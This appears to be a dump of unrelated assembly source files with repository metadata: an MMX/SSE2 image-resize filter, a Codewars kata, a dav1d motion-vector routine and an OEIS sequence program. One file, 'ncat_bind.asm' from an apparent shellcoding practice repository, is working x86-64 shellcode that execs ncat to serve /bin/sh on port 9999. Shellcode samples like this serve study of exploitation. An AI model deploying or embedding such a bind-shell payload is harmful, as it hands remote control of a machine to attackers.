edi pop esi pop ebp ret ;---------------------------------------------------------------- .accel_4coeff: mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] add ebp,ebp add ebp,ebp mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] add edi,ebp neg ebp mov esi,eax mov edx,eax movq mm4,[MMX_roundval] pxor mm5,mm5 mov ecx,[esp+12+16] .pixelloop_4coeff: shr esi,14 and edx,0000ff00h and esi,byte -4 shr edx,4 add esi,ebx add eax,[esp+28+16] add edx,ecx movd mm0,dword [esi+0] movd mm2,dword [esi+8] punpcklbw mm0,[esi+4] ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm4 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm4 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm1,mm3 ;accumulate green/blue (pixels 2/3) psrad mm0,14 psrad mm1,14 packssdw mm1,mm0 mov esi,eax packuswb mm1,mm1 mov edx,eax movd dword [edi+ebp],mm1 add ebp,4 jne .pixelloop_4coeff pop ebx pop edi pop esi pop ebp ret ;---------------------------------------------------------------- .accel_6coeff: mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] add ebp,ebp add ebp,ebp mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] add edi,ebp neg ebp mov esi,eax mov edx,eax movq mm4,[MMX_roundval] pxor mm5,mm5 mov ecx,[esp+12+16] .pixelloop_6coeff: shr esi,14 and edx,0000ff00h and esi,byte -4 shr edx,5 lea edx,[edx+edx*2] add esi,ebx add eax,[esp+28+16] add edx,ecx movd mm0,dword [esi+0] movd mm2,dword [esi+8] punpcklbw mm0,[esi+4] ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm4 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm4 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm1,mm3 ;accumulate green/blue (pixels 2/3) movd mm6,dword [esi+16] punpcklbw mm6,[esi+20] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm7,mm6 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm6,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm6,[edx+16] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm7,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm7,[edx+16] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] paddd mm0,mm6 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm7 ;accumulate green/blue (pixels 0/1) psrad mm0,14 psrad mm1,14 packssdw mm1,mm0 mov esi,eax packuswb mm1,mm1 mov edx,eax movd dword [edi+ebp],mm1 add ebp,4 jne .pixelloop_6coeff pop ebx pop edi pop esi pop ebp ret ;---------------------------------------------------------------- .accel_8coeff: mov eax,[esp + 24 + 16] mov ebp,[esp + 20 + 16] add ebp,ebp add ebp,ebp mov ebx,[esp + 8 + 16] mov edi,[esp + 4 + 16] add edi,ebp neg ebp mov esi,eax mov edx,eax movq mm4,[MMX_roundval] pxor mm5,mm5 mov ecx,[esp+12+16] .pixelloop_8coeff: shr esi,14 and edx,0000ff00h and esi,byte -4 shr edx,3 add esi,ebx add eax,[esp+28+16] add edx,ecx movd mm0,dword [esi+0] movd mm2,dword [esi+8] punpcklbw mm0,[esi+4] ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm0,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] pmaddwd mm0,[edx] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm2,[esi+12] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] punpcklbw mm1,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm1,[edx] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+8] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+8] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm4 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm4 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 2/3) paddd mm1,mm3 ;accumulate green/blue (pixels 2/3) movd mm6,dword [esi+16] punpcklbw mm6,[esi+20] ;mm1=[a0][a1][r0][r1][g0][g1][b0][b1] movd mm2,dword [esi+24] punpcklbw mm2,[esi+28] ;mm2=[a2][a3][r2][r3][g2][g3][b2][b3] movq mm7,mm6 ;mm0=[a0][a1][r0][r1][g0][g1][b0][b1] punpckhbw mm6,mm5 ;mm0=[ a0 ][ a1 ][ r0 ][ r1 ] movq mm3,mm2 ;mm3=[a2][a3][r2][r3][g2][g3][b2][b3] pmaddwd mm6,[edx+16] ;mm0=[a0*f0+a1*f1][r0*f0+r1*f1] punpcklbw mm7,mm5 ;mm1=[ g0 ][ g1 ][ b0 ][ b1 ] pmaddwd mm7,[edx+16] ;mm1=[g0*f0+g1*f1][b0*f0+b1*f1] punpckhbw mm2,mm5 ;mm2=[ a2 ][ a3 ][ r0 ][ r1 ] pmaddwd mm2,[edx+24] ;mm2=[a2*f2+a3*f3][r2*f2+r3*f3] punpcklbw mm3,mm5 ;mm3=[ g2 ][ g3 ][ b2 ][ b3 ] pmaddwd mm3,[edx+24] ;mm3=[g2*f2+g3*f3][b2*f2+b3*f3] paddd mm0,mm6 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm7 ;accumulate green/blue (pixels 0/1) paddd mm0,mm2 ;accumulate alpha/red (pixels 0/1) paddd mm1,mm3 ;accumulate green/blue (pixels 0/1) psrad mm0,14 psrad mm1,14 packssdw mm1,mm0 mov esi,eax packuswb mm1,mm1 mov edx,eax movd dword [edi+ebp],mm1 add ebp,4 jne .pixelloop_8coeff pop ebx pop edi pop esi pop ebp ret ;------------------------------------------------------------------------- ; ; long resize_table_col_MMX(Pixel *out, Pixel **in_table, int *filter, int filter_width, PixDim w, long frac); global _vdasm_resize_table_col_MMX _vdasm_resize_table_col_MMX: push ebp push esi push edi push ebx mov edx,[esp + 12 + 16] mov eax,[esp + 24 + 16] shl eax,2 imul eax,[esp + 16 + 16] add edx,eax mov [esp + 12 + 16], edx ;[esp+12+28] = filter pointer mov ebp,[esp + 20 + 16] ;ebp = pixel counter mov edi,[esp + 4 + 16] ;edi = destination pointer pxor mm5,mm5 cmp dword [esp+16+16], 4 jz .accel_4coeff cmp dword [esp+16+16], 6 jz .accel_6coeff mov ecx,[esp + 16 + 16] shr ecx,1 mov [esp + 16 + 16],ecx ;ecx = filter pair count xor ebx,ebx ;ebx = source offset mov ecx,[esp + 16 + 16] ;ecx = filter width counter .pixelloop: mov eax,[esp + 8 + 16] ;esi = row pointer table movq mm6,[MMX_roundval] movq mm7,mm6 pxor mm0,mm0 pxor mm1,mm1 .coeffloop: mov esi,[eax] paddd mm6,mm0 movd mm0,dword [esi+ebx] ;mm0 = [0][0][0][0][x0][r0][g0][b0] paddd mm7,mm1 mov esi,[eax+4] add eax,8 movd mm1,dword [esi+ebx] ;mm1 = [0][0][0][0][x1][r1][g1][b1] punpcklbw mm0,mm1 ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm0,[edx] punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] pmaddwd mm1,[edx] add edx,8 sub ecx,1 jne .coeffloop paddd mm6,mm0 paddd mm7,mm1 psrad mm6,14 psrad mm7,14 add edi,4 packssdw mm6,mm7 add ebx,4 packuswb mm6,mm6 sub ebp,1 mov ecx,[esp + 16 + 16] ;ecx = filter width counter mov edx,[esp + 12 + 16] ;edx = filter bank pointer movd dword [edi-4],mm6 jne .pixelloop .xit: pop ebx pop edi pop esi pop ebp ret .accel_4coeff: movq mm2,[edx] movq mm3,[edx+8] mov esi,[esp+8+16] ;esi = row pointer table mov eax,[esi] add ebp,ebp mov ebx,[esi+4] add ebp,ebp mov ecx,[esi+8] mov esi,[esi+12] add eax,ebp add ebx,ebp add ecx,ebp add esi,ebp add edi,ebp neg ebp ;EAX source 0 ;EBX source 1 ;ECX source 2 ;ESI source 3 ;EDI destination ;EBP counter movq mm4,[MMX_roundval] .pixelloop4: movd mm6,dword [eax+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] punpcklbw mm6,[ebx+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm7,mm6 punpcklbw mm6,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm6,mm2 punpckhbw mm7,mm5 ;mm1 = [x1][x0][r1][r0] movd mm0,dword [ecx+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] pmaddwd mm7,mm2 punpcklbw mm0,[esi+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] paddd mm6,mm4 movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm0,mm3 punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] pmaddwd mm1,mm3 paddd mm7,mm4 paddd mm6,mm0 paddd mm7,mm1 psrad mm6,14 psrad mm7,14 packssdw mm6,mm7 packuswb mm6,mm6 movd dword [edi+ebp],mm6 add ebp,4 jne .pixelloop4 jmp .xit .accel_6coeff: movq mm2,[edx] movq mm3,[edx+8] movq mm4,[edx+16] push 0 push dword [fs:0] mov dword [fs:0],esp mov esp,[esp+8+24] ;esp = row pointer table mov eax,[esp] add ebp,ebp mov ebx,[esp+4] add ebp,ebp mov ecx,[esp+8] mov edx,[esp+12] mov esi,[esp+16] mov esp,[esp+20] add eax,ebp add ebx,ebp add ecx,ebp add edx,ebp add esi,ebp add edi,ebp add esp,ebp neg ebp ;EAX source 0 ;EBX source 1 ;ECX source 2 ;EDX source 3 ;ESI source 4 ;EDI destination ;ESP source 5 ;EBP counter .pixelloop6: movd mm6,dword [eax+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] punpcklbw mm6,[ebx+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm7,mm6 punpcklbw mm6,mm5 ;mm0 = [g1][g0][b1][b0] movd mm0,dword [ecx+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] punpckhbw mm7,mm5 ;mm1 = [x1][x0][r1][r0] punpcklbw mm0,[edx+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] pmaddwd mm6,mm2 movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] pmaddwd mm7,mm2 punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] paddd mm6,[MMX_roundval] pmaddwd mm0,mm3 paddd mm7,[MMX_roundval] pmaddwd mm1,mm3 paddd mm6,mm0 movd mm0,dword [esi+ebp] ;mm0 = [0][0][0][0][x0][r0][g0][b0] paddd mm7,mm1 punpcklbw mm0,[esp+ebp] ;mm0 = [x0][x1][r0][r1][g0][g1][b0][b1] movq mm1,mm0 punpcklbw mm0,mm5 ;mm0 = [g1][g0][b1][b0] punpckhbw mm1,mm5 ;mm1 = [x1][x0][r1][r0] pmaddwd mm0,mm4 pmaddwd mm1,mm4 paddd mm6,mm0 paddd mm7,mm1 psrad mm6,14 psrad mm7,14 packssdw mm6,mm7 packuswb mm6,mm6 movd dword [edi+ebp],mm6 add ebp,4 jne .pixelloop6 mov esp, dword [fs:0] pop dword [fs:0] pop eax jmp .xit global _vdasm_resize_table_col_SSE2 _vdasm_resize_table_col_SSE2: push ebp push esi push edi push ebx mov edx,[esp+12+16] mov eax,[esp+24+16] shl eax,2 imul eax,[esp+16+16] add edx,eax mov [esp+12+16], edx ;[esp+12+16] = filter pointer mov ebp,[esp+20+16] ;ebp = pixel counter mov edi,[esp+4+16] ;edi = destination pointer pxor xmm7, xmm7 movdqa xmm6, [MMX_roundval] cmp dword [esp+16+16], 4 jz .accel_4coeff cmp dword [esp+16+16], 6 jz .accel_6coeff mov ecx,[esp+16+16] shr ecx,1 mov [esp+16+16],ecx ;ecx = filter pair count xor ebx,ebx ;ebx = source offset mov ecx,[esp+16+16] ;ecx = filter width counter .pixelloop: mov eax, [esp+8+16] ;esi = row pointer table movdqa xmm4, xmm6 .coeffloop: mov esi,[eax] movd xmm0, dword [esi+ebx] mov esi,[eax+4] add eax,8 movd xmm1, dword [esi+ebx] punpcklbw xmm0, xmm1 punpcklbw xmm0, xmm7 movq xmm2, qword [edx] pshufd xmm2, xmm2, 01000100b pmaddwd xmm0, xmm2 paddd xmm4, xmm0 add edx,8 sub ecx,1 jne .coeffloop psrad xmm4,14 add edi,4 packssdw xmm4,xmm4 add ebx,4 packuswb xmm4,xmm4 sub ebp,1 mov ecx,[esp+16+16] ;ecx = filter width counter mov edx,[esp+12+16] ;edx = filter bank pointer movd dword [edi-4],xmm4 jne .pixelloop .xit: pop ebx pop edi pop esi pop ebp ret .accel_4coeff: shl ebp, 2 mov eax, [esp+8+16] ;eax = row pointer table mov esi, [eax+12] mov ecx, [eax+8] mov ebx, [eax+4] mov eax, [eax] lea edi, [edi+ebp-4] neg ebp ;registers: ; ;EAX source 0 ;EBX source 1 ;ECX source 2 ;ESI source 3 ;EDI destination ;EBP counter ; movq xmm4, qword [edx] ;xmm4 = coeff 0/1 movq xmm5, qword [edx+8] ;xmm5 = coeff 2/3 punpcklqdq xmm4, xmm4 punpcklqdq xmm5, xmm5 add ebp, 4 jz .oddpixel_4coeff .pixelloop_4coeff_dualpel: movq xmm0, qword [eax] movq xmm1, qword [ebx] movq xmm2, qword [ecx] movq xmm3, qword [esi] add eax,8 add ebx,8 add ecx,8 add esi,8 punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 movdqa xmm1, xmm0 movdqa xmm3, xmm2 punpcklbw xmm0, xmm7 punpckhbw xmm1, xmm7 punpcklbw xmm2, xmm7 punpckhbw xmm3, xmm7 pmaddwd xmm0, xmm4 pmaddwd xmm1, xmm4 pmaddwd xmm2, xmm5 pmaddwd xmm3, xmm5 paddd xmm0, xmm2 paddd xmm1, xmm3 paddd xmm0, xmm6 paddd xmm1, xmm6 psrad xmm0, 14 psrad xmm1, 14 packssdw xmm0, xmm1 packuswb xmm0, xmm0 movq qword [edi+ebp],xmm0 add ebp, 8 jae .pixelloop_4coeff_dualpel jnz .xit .oddpixel_4coeff: movd xmm0, dword [eax] movd xmm1, dword [ebx] movd xmm2, dword [ecx] movd xmm3, dword [esi] punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 punpcklbw xmm0, xmm7 punpcklbw xmm2, xmm7 pmaddwd xmm0, xmm4 pmaddwd xmm2, xmm5 paddd xmm0, xmm2 paddd xmm0, xmm6 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd dword [edi],xmm0 jmp .xit .accel_6coeff: movq xmm4, qword [edx] ;xmm4 = coeff 0/1 movq xmm5, qword [edx+8] ;xmm5 = coeff 2/3 movq xmm6, qword [edx+16] ;xmm5 = coeff 4/5 punpcklqdq xmm4, xmm4 punpcklqdq xmm5, xmm5 punpcklqdq xmm6, xmm6 push 0 push dword [fs:0] mov dword [fs:0],esp shl ebp, 2 mov eax, [esp+8+24] ;eax = row pointer table mov esp, [eax+20] mov esi, [eax+16] mov edx, [eax+12] mov ecx, [eax+8] mov ebx, [eax+4] mov eax, [eax] lea edi, [edi+ebp-4] neg ebp ;registers: ; ;EAX source 0 ;EBX source 1 ;ECX source 2 ;EDX source 3 ;ESI source 4 ;EDI destination ;ESP source 5 ;EBP counter ; add ebp, 4 jz .oddpixel_6coeff .pixelloop_6coeff_dualpel: movq xmm0, qword [eax] movq xmm1, qword [ebx] movq xmm2, qword [ecx] movq xmm3, qword [edx] add eax,8 add ebx,8 add ecx,8 add edx,8 punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 movdqa xmm1, xmm0 movdqa xmm3, xmm2 punpcklbw xmm0, xmm7 punpckhbw xmm1, xmm7 punpcklbw xmm2, xmm7 punpckhbw xmm3, xmm7 pmaddwd xmm0, xmm4 pmaddwd xmm1, xmm4 pmaddwd xmm2, xmm5 pmaddwd xmm3, xmm5 paddd xmm0, xmm2 paddd xmm1, xmm3 movq xmm2, qword [esi] movq xmm3, qword [esp] add esi, 8 add esp, 8 punpcklbw xmm2, xmm3 movdqa xmm3, xmm2 punpcklbw xmm2, xmm7 punpckhbw xmm3, xmm7 pmaddwd xmm2, xmm6 pmaddwd xmm3, xmm6 paddd xmm0, xmm2 paddd xmm1, xmm3 paddd xmm0, [MMX_roundval] paddd xmm1, [MMX_roundval] psrad xmm0, 14 psrad xmm1, 14 packssdw xmm0, xmm1 packuswb xmm0, xmm0 movq qword [edi+ebp],xmm0 add ebp, 8 jae .pixelloop_6coeff_dualpel jnz .xit_6coeff .oddpixel_6coeff: movd xmm0, dword [eax] movd xmm1, dword [ebx] movd xmm2, dword [ecx] movd xmm3, dword [edx] punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 movd xmm1, dword [esi] movd xmm3, dword [esp] punpcklbw xmm0, xmm7 punpcklbw xmm2, xmm7 pmaddwd xmm0, xmm4 punpcklbw xmm1, xmm3 pmaddwd xmm2, xmm5 punpcklbw xmm1, xmm7 pmaddwd xmm1, xmm6 paddd xmm0, xmm2 paddd xmm1, [MMX_roundval] paddd xmm0, xmm1 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd dword [edi],xmm0 .xit_6coeff: mov esp, dword [fs:0] pop dword [fs:0] pop eax jmp .xit end
20.833333
116
0.593631
ed6ec6f756a1a903e8c7155fdbf44f9269f51dd3
263
asm
Assembly
8_kyu/Century_From_Year.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
8_kyu/Century_From_Year.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
8_kyu/Century_From_Year.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
section .text global centuryFromYear centuryFromYear: ; int centuryFromYear(int year) ; input: edi = year ; output: rax mov ecx,99 mov eax,ecx add eax,edi inc ecx ; ecx := 100 xor edx,edx div ecx ret
21.916667
50
0.56654
2e3b1e4ab7daa6db2bd9cf902ee2c72e0f40ddc1
2,334
asm
Assembly
src/x86/splat_mv.asm
cgisquet/dav1d
aebc10147d4bbb9d97826c6d0865ff9a64b0f370
[ "BSD-2-Clause" ]
null
null
null
src/x86/splat_mv.asm
cgisquet/dav1d
aebc10147d4bbb9d97826c6d0865ff9a64b0f370
[ "BSD-2-Clause" ]
null
null
null
src/x86/splat_mv.asm
cgisquet/dav1d
aebc10147d4bbb9d97826c6d0865ff9a64b0f370
[ "BSD-2-Clause" ]
null
null
null
%include "config.asm" %include "ext/x86/x86inc.asm" SECTION_RODATA 32 %macro JMP_TABLE 1-* %xdefine %1_table (%%table - 2*%2) %xdefine %%base %1_table %xdefine %%prefix mangle(private_prefix %+ _%1) %%table: %rep %0 - 1 dd %%prefix %+ .loop%2 - %%base %rotate 1 %endrep %endmacro JMP_TABLE splat_mv_sse, 4, 8, 16, 32 SECTION .text INIT_XMM sse ; refmvs *r, ptrdiff_t stride, int bw4, int bh4, aliasmv *a cglobal splat_mv, 5, 5, 3, r, stride, bw4, bh4, a imul strideq, 12 cmp bw4q, 2 jle .start2 .dummy: tzcnt bw4d, bw4m mova m0, [aq+0] mova m1, m0 mova m2, m0 %define base aq-width_sse_table lea aq, [splat_mv_sse_table] movsxd bw4q, dword [aq+bw4q*4] add bw4q, aq shufps m0, m0, q0210 shufps m1, m1, q1021 shufps m2, m2, q2102 jmp bw4q .loop32: mova [rq+ 368], m2 mova [rq+ 352], m1 mova [rq+ 336], m0 mova [rq+ 320], m2 mova [rq+ 304], m1 mova [rq+ 288], m0 mova [rq+ 272], m2 mova [rq+ 256], m1 mova [rq+ 240], m0 mova [rq+ 224], m2 mova [rq+ 208], m1 mova [rq+ 192], m0 .loop16: mova [rq+ 176], m2 mova [rq+ 160], m1 mova [rq+ 144], m0 mova [rq+ 128], m2 mova [rq+ 112], m1 mova [rq+ 96], m0 .loop8: mova [rq+ 80], m2 mova [rq+ 64], m1 mova [rq+ 48], m0 .loop4: mova [rq+ 32], m2 mova [rq+ 16], m1 mova [rq+ 0], m0 add rq, strideq dec bh4q jz .end jmp bw4q .end: RET .start2: cmp bw4q, 1 jle .start1 mova m0, [aq+0] mova m1, m0 shufps m0, m0, q0210 ;psrldq m1, 32 shufps m1, m1, q0021 .loop2: movu [rq+ 0], m0 movlps [rq+ 16], m1 add rq, strideq dec bh4q jnz .loop2 RET .start1: movlps m0, [aq] mov bw4d, dword [aq+8] .loop1: movlps [rq+ 0], m0 mov dword [rq+ 8], bw4d add rq, strideq dec bh4q jnz .loop1 RET
22.660194
59
0.455441
56bb6d80980ae8e159040540d59ff9a8e64b3f07
874
asm
Assembly
samples/ncat_bind.asm
0x00-0x00/shellcoding
a975d4d0f2e4d6de80feb99e760db2c4a7d8a43d
[ "MIT" ]
null
null
null
samples/ncat_bind.asm
0x00-0x00/shellcoding
a975d4d0f2e4d6de80feb99e760db2c4a7d8a43d
[ "MIT" ]
null
null
null
samples/ncat_bind.asm
0x00-0x00/shellcoding
a975d4d0f2e4d6de80feb99e760db2c4a7d8a43d
[ "MIT" ]
1
2019-10-27T12:58:16.000Z
2019-10-27T12:58:16.000Z
global _start: _start: xor rdi, rdi;zera o rdi xor rsi, rsi ;zera o rsi xor rax, rax ;zera o rax push rdi ; stack = 0 0 pop rdx ; rdx = 0 | stack = NULL mov rax, 0x68732f4141414141 ; move hs/ no rax shr rax, 0x28 ;insere null byte no primeiro A push rax mov rax, 0x6e69622f20652d20 ;move nib/ -e rax push rax mov rax, 0x3939393920706c2d ;move 9999 pl- push rax push rsp ;puxa o endereco da string na stack pop rsi ;guarda o endereco do argumento no rsi mov rdi, 0x7461636e2f414141 ; move At no registro rdi shr rdi, 0x18 push rdi; move rdi no stack | stack = 0xAAAAAAAt mov rdi, 0x6e69622f7273752f ; move acn/nib/ no registro rdi push rdi ; empurra endereco do rdi na stack | stack = 0xAAAAAAAAt, 0xacn/nib/ push rsp ; puxa stack pointer pra stack pop rdi ; pega o ponteiro do stack pointer (o comeco da string) push 0x3b pop rax syscall
24.971429
79
0.718535
1bec6d2d76a47ce64898a0d7f4030741c2fb1393
451
asm
Assembly
oeis/101/A101342.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/101/A101342.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/101/A101342.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A101342: Fibonacci-Mersenne numbers. ; Submitted by Jon Maiga ; 0,1,2,13,610,1346269,6557470319842,155576970220531065681649693,87571595343018854458033386304178158174356588264390370,27745922289305716855338470916082815029348872029647830861914852073402148308000613611082094085891168867554589 seq $0,79 ; Powers of 2: a(n) = 2^n. seq $0,118658 ; a(n) = 2*F(n-1) = L(n) - F(n), where F(n) and L(n) are Fibonacci and Lucas numbers respectively. div $0,2
56.375
226
0.798226